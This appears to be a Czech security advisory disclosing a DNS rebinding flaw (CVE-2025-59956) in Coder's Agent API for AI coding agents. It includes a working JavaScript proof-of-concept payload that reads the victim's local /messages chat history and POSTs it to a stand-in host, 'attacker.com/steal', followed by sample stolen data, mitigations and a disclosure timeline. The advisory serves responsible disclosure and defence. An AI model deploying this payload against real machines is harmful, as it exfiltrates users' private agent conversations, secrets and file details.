Agent API od Coderu odhaluje historii chatu uživatelů pomocí útoku DNS rebinding
Autor: Evan Harris
Dotčená komponenta: Agent API od Coderu
CVE: CVE-2025-59956
Skóre CVSS 3.1: 6.5 (Střední) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Přehled
Agent API od Coderu je open source HTTP API pro Claude Code, Goose, Aider, Gemini, Amp a Codex.
MCPSec nalezl v Agent API zranitelnost typu DNS rebinding, která umožňuje vzdáleným útočníkům exfiltrovat historii zpráv Claude Code daného uživatele.
Coder tento problém opravil ve verzi v0.4.0. Uživatelé Agent API by měli aktualizovat na tuto nebo novější verzi.
Dopad
Útočníci získají plný přístup GET k endpointu /messages poskytovanému Agent API.
To umožňuje neoprávněnou exfiltraci citlivých uživatelských dat, konkrétně lokální historie zpráv, která může zahrnovat tajné klíče, obsah souborového systému a duševní vlastnictví, na kterém uživatel lokálně pracuje.
DNS rebinding může proběhnout během několika sekund po připojení ke škodlivému webovému serveru.
Proof of Concept
Vyjděme z následujících předpokladů:
- Na počítači oběti běží Agent API.
- Oběť přejde na škodlivou webovou stránku.
- Webová stránka provede útok DNS rebinding, aby zmanipulovala webový prohlížeč oběti tak, aby jménem útočníka komunikoval se zranitelným Agent API.
Po dokončení DNS rebindingu může útočník využívat lokálně poskytovaný endpoint /messages. Celou historii chatu oběti s Agent API lze exfiltrovat na server útočníka.
MCPSec provedl útok typu proof of concept následujícím způsobem:
-
Nasadit aplikaci pro DNS rebinding (např. Singularity of Origin).
-
Sestavit payload poskytovaný škodlivou webovou stránkou pro získání a exfiltraci dat.
Tento kód JavaScript, poskytovaný ze škodlivé stránky, načte historii zpráv a odešle ji útočníkovi.
const AgentAPI = () => {
function attack(headers, cookie, body) {
fetch('http://localhost:3284/messages', {
method: 'GET',
mode: "cors",
}).then(response => {
const ATTACKER_SERVER = 'https://attacker.com/steal'
response.json().then(victimMessageHistory => {
fetch(ATTACKER_SERVER, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(victimMessageHistory)
}).then(r => {
console.log("attacker server response", r)
}).catch(e => {
console.error('failed to post', e)
})
}).catch(e => {
console.error('failed to parse response ', e)
})
}).catch(e => {
console.error("failed to get messages", e)
})
}
// Invoked to determine whether the rebinded service
// is the one targeted by this payload. Must return true or false.
async function isService(headers, cookie, body) {
let controller = new AbortController();
let signal = controller.signal;
return timeout(1000, fetch(`http://localhost:3284/docs`, {
mode: 'no-cors',
credentials: 'omit',
signal
}), controller)
.then(response => {
return true;
})
.catch(e => {
return (false);
})
}
return {
attack,
isService
}
}
Registry["AgentAPI"] = AgentAPI();
Endpoint /messages je poskytován na lokálním počítači oběti a při dotazu odpovídá její historií chatu.
- Útočník musí provozovat server pro sběr dat, který přijme požadavek POST. Obsahem požadavku POST by měla být odpověď z endpointu /messages Agent API oběti.
Na počítači oběti bylo Agent API vyzváno, aby prozkoumalo lokální souborový systém. Toto bylo odesláno na server útočníka pro sběr dat:
Následuje příklad dat JSON ukradených oběti, která se agenta zeptala na svůj lokální souborový systém.
{
"$schema": "http://localhost:3284/schemas/MessagesResponseBody.json",
"messages": [{
"id": 0,
"content": "╭───────────────────────────────────────────────────╮ \n│ ✻ Welcome to Claude Code! │ \n│ │ \n│ /help for help, /status for your current setup │ \n│ │ \n│ cwd: /home/evan/Downloads │ \n╰───────────────────────────────────────────────────╯ \n \n ※ Tip: Press Esc twice to edit your previous messages ",
"role": "agent",
"time": "2025-07-25T11:20:04.988043205+02:00"
}, {
"id": 1,
"content": "Hello, agent!",
"role": "user",
"time": "2025-07-25T13:11:16.699082236+02:00"
}, {
"id": 3,
"content": "tell me about my filessytem",
"role": "user",
"time": "2025-07-25T13:14:51.120102556+02:00"
}, {
"id": 4,
"content": "● I'll explore your filesystem to show you what's in your current directory \n and its structure. \n \n● List(.) \n ⎿ Listed 1048 paths (ctrl+r to expand) \n \n● Your Downloads directory contains a wide variety of files: \n \n Documents & PDFs [REDACTED_FOR_MY_OWN_SECURITY] The directory appears to be a typical developer's Downloads folder with a \n mix of tools, documents, and research materials, particularly focused on \n AI/ML security research.",
"role": "agent",
"time": "2025-07-25T13:15:10.681040365+02:00"
}]
}
Doporučená zmírnění
Pro uživatele (okamžitě)
- Okamžitě aktualizujte na verzi v0.4.0 nebo novější Agent API. Tato verze obsahuje opravu zranitelnosti.
Pro vývojáře (dlouhodobě)
- Implementujte robustní validaci hlavičky Host pro všechna lokálně poskytovaná HTTP API, abyste zabránili DNS rebindingu.
- Implementujte ochranu proti CSRF, abyste zabránili dalším formám útoků cross-origin.
- Přidejte bezpečnostní upozornění do dokumentace nástrojů, které vystavují lokální síťové služby.
Tato zranitelnost byla nahlášena týmu Coder v rámci postupů odpovědného zveřejnění. Coder zareagoval rychle a problém opravil.
Časová osa zveřejnění
- 2025-07-25: Odesláno prvotní hlášení zranitelnosti společnosti Coder.
- 2025-07-25: Coder potvrzuje přijetí hlášení.
- 2025-07-29: Coder uvádí, že se mu podařilo reprodukovat a ověřit scénář útoku.
- 2025-08-13: Zranitelnost byla opravena.
- 2025-08-21: Coder se rozhodl udělit za hlášení bezpečnostní odměnu.
- 2025-09-09: Dohodnuto vzájemně přijatelné datum zveřejnění hlášení.
- 2025-09-19: Bezpečnostní hlášení zveřejněno.
Závěr
Zranitelnost typu DNS rebinding v Agent API od Coderu poukazuje na kritickou bezpečnostní výzvu pro rostoucí ekosystém lokálních vývojářských nástrojů poháněných umělou inteligencí. Ačkoli tyto nástroje nabízejí výkonné možnosti, musí být budovány s důrazem na bezpečnost, aby byly chráněny před hrozbami z webu.
Poděkování patří týmu Coder za jeho rychlou a profesionální reakci při opravě této zranitelnosti. Všichni uživatelé Agent API by měli aktualizovat na nejnovější verzi, aby zajistili svou ochranu.